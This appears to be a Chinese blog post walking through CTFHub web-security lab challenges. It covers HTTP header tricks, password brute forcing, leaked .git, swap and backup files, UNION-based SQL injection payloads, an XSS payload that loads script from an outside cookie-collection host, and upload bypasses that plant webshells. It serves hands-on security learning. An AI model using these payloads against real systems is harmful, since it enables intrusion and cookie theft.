最近闲的无聊,玩玩CTF吧,并把自己的解题思路分享给大家。大佬多指教。
Web前置技能--HTTP协议
请求方式:
点击连接进入靶场环境
意思就是:http的请求方式是GET,把请求方式换成CTFHUB 就会给你flag。
打开burpsuite 开启拦截,同时刷新你的浏览器界面,bp已成功拦截。
更改请求方式,如下:
Forward 放包,同时浏览器界面已经把flag显示出来了。
302跳转:
看到302就应该知道是用来做临时跳转的,就是你访问一个url时,会跳转到另一个url。
所以这题的思路就是抓包,放包。
点击 Give me Flag,同时Burpsuite 抓包。
把包发送到Repeater模式,Send一下。
Cookie:
首先明白cookie的作用是用来验证用户身份的。
字面意思,只有管理员才能获取到flag。先bp抓个包看一下。
看到了Cookie:admin=0,也就是说不是管理员,admin的状态是0,把他改成1。
放包。浏览器出现flag。
基础认证:
可以看到提供了一个附件。
下载下来,点进去发现是密码字典。那这道题必是让进行密码爆破了。
进入靶场,点击click。
让登录,那就随便输入账户名和密码点击登录,同时bp进行抓包。
如下图:Authentication主要是用来做认证、验证用户身份的。它里面包含了客户端向服务器提供的认证数据。如果我猜得没错,后面那个加密的数据就是我刚才输入的用户名和密码。
解密一下看看。果然是我输入的用户名admin和密码aaa。
既然提供了密码字典,那就开始爆破吧。但要注意一点,那段加密数据解密之后,同时包含了用户名和密码,但是提供的密码字典里只有密码,所以在密码字典里每个密码前面加个admin:。(至于为什么加admin,盲猜网站的管理员用户名是admin,并且大多数情况下也都是admin)。并把用户名和密码的组合进行base64加密。
跑了一下,发现没有跑出来,查了一下资料发现加密后的密文有等号=的,要把等号=删了。这里了解一下base64的加密规则,不够4个字节的用等号=补充,所以把等号删了对结果没有影响,那就删。删完时候把密文随便复制到一个.txt文件中,后面要用到。
把数据包发送到intruder模式,添加变量。
加载密码字典。(把1.txt文件加载进payload)直接开始跑
结果出来了,找status是200的。
响应包源代码:
进来之后发现是空白页面。见到空白页面直接f12审查元素。
信息泄露
目录遍历:
进入靶场
一个一个目录挨个找
PHPINFO:
进入环境之后,点击查看phpinfo,仔细找。
备份文件下载:
网站源码:
这里需要找到网站的备份文件进行下载,网上有很多种方式,有用脚本的,有用扫描器的。
这里我直接盲猜,/www.zip、/web.zip 先试一试。
打开文件发现不对。那就直接访问。
成功拿到flag。
bak文件:
提示flag在首页的源码中,看到标题bak文件,bak文件就是备份文件,所以直接把备份文件下载下来。在url后面直接输入/index.php.bak
vim缓存:
好好看看这句话
vim一旦异常退出就会生成swp文件,且是隐藏文件。隐藏文件要加点,首页也说了flag在index.php源码中 所以 /.index.php.swp 直接下载。
.DS_Store:
DS.Store是Mac里面的隐藏文件,里面是所有文件的清单。所以要把这个文件下载下来。
下载下来之后打开,发现是一些鬼都看不懂的东西。这是Mac中的文件,属于linux系统,用Windows打开当然看不了。
所以把文件复制到Linux系统中,如:kali。cat一下就行了。
之后呢,直接浏览器访问.txt文件。
Git泄露:
Log:
这一关需要用到Git泄露利用工具GitHack。下载地址:mirrors / BugScanTeam / GitHack · GitCode
python2环境和git环境 (网上一搜就有)并且要配置环境变量。
复制url。用cmd命令运行你的GitHack,输入:GitHack.py + 你刚才复制的url + /.git
之后,最下面有个文件,如下图,进入到这个文件中。
进来之后直接 git show,flag出现。
Stash:
这个和上面的基本相同,就有一点点变化。按着上面的步骤,先进入到10800 那个文件中,然后输入
-
git stash list
-
git stash pop
Index:
和上面一摸一样。进入那个文件之后 git show FLAG就出现了。
SVN泄露:
你们看这个去吧,我不想写了。
HG泄露:
你们看这个去吧,我懒得写了。
密码口令
弱口令:
弱口令就是不安全的密码,别人能猜出来。admin / 123456
默认口令:
打开发现是eyou。
直接百度搜索eyou默认账号密码
SQL注入:
整数型注入:
直接上sqlmap吧,觉得自己基础不扎实的多练练手工注入。
查询当前网站使用的数据库
查询数据库里所有的表
查询flag表具体内容
字符型注入:
一样的操作。
报错注入:
直接一句话得了,没必要一句一句跑了
布尔盲注:
时间盲注:
Mysql结构:
这题稍微有点不一样了,但是过程和思路都一样。
Cookie注入:
cookie注入,那就需要抓包拿到cookie。
UA注入:
这道题主要是对数据包的User-Agent头进行注入,用sqlmap的话太慢了,跑的时间太长了,直接手工注入吧
id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'
拿到表名
根据表名拿字段名
id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_name ='gppfcericc'
拿具体信息
id=-1 union select 1, etszlbtzyz from sqli.gppfcerice
Refer注入:
和上一题UA注入基本一样。bp抓到数据包之后,发现没有Refer头,那就手动添加。
Referer:-1 union select 1,database()
拿表名
-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'
拿字段名
-1 union select 1,group_concat(column_name) from information_schema.columns where table_name ='qqzgzuwmaw'
拿具体信息
id=-1 union select 1, qwnaswwvdn from sqli.qqzgzuwmaw
过滤空格:
这道题把所有的空格都过滤了,那就把所有的空格全部换成/**/
拿到表名查字段
查具体数据
XSS:
反射型:
找一个xss平台,如:xss.yt.com
注册登录,创建项目,默认模块即可,配置代码,如以下代码。复制
粘贴,Submit。之后复制url粘贴到第二个框里,send。
然后打开刚才的xss平台,在刚才创建的项目里就会出现数据包信息。cookie里有flag
存储型:
和上面的是一样的,存储型就是把恶意代码存储进了数据库,每次查库就会触发恶意代码。
DOM型:
';造成闭合,后面注释掉
DOM跳转:
http://challenge-cb6cf12cc625476a.sandbox.ctfhub.com:10800/?jumpto=javascript:$.getScript("SrC=//xss.yt/dwzq")

过滤空格:
这题会把空格给过滤掉,所以把你代码段里面的所有空格换成 /**/
之后再输入url
过滤关键字:
和上面一摸一样,把关键字换成大小写
文件上传:
无验证:
没有任何验证,直接上传的后门文件就行。
蚁剑连接
找到flag
前端验证:
文件验证的操作是在前端进行的,所以我们可以抓包修改文件后缀进行绕过。
先把后门文件的后缀改成jpg,上传的同时抓包。
修改这个地方,把后缀再改成php
蚁剑连接,拿到flag
.htaccess:
.htaccess文件的作用 就是我上传了一个.htaccess文件到服务器,那么服务器之后就会将特定格式的文件以php格式解析。
AddType application/x-httpd-php .jpg 就是把.jpg文件当作php文件解析。
先创建一个.htaccess后缀的文件
把这个文件上传
然后就可以上传我们的后门文件了,记得把后缀改成.jpg,上传到服务器之后htaccess文件会把他解析成php的。
蚁剑连接
mime绕过:
MIME类型校验就是我们在上传文件到服务端的时候,服务端会对客户端也就是我们上传的文件的Content-Type类型进行检测,如果是白名单所允许的,则可以正常上传,否则上传失败。
上传一个.jpg的木马文件 同时抓包
如果Content-Type不是image/jpeg,记得改一下。
直接蚁剑连接就行了。
00截断:
%00是截断的意思,把后面的内容截断不要了。
先上传一个.jpg后缀的后门文件,抓包
把最上面post请求内容改成这样,send一下,蚁剑直接连接。
POST /?road=/var/www/html/upload/123.php%00 HTTP/1.1
双写后缀:
上传一个php的后门文件,抓包。
在.php的前面加上pph,组成一个 b.pphphp。当他过滤掉php的时候,刚好p+hp 又组成一个php。
蚁剑连接。
文件头检查:
上传一张.jpg图片,抓包
写入一句话木马,更改后缀。
并添加GIF89a。 GIF89a用来标识图片的文件头。
蚁剑连接。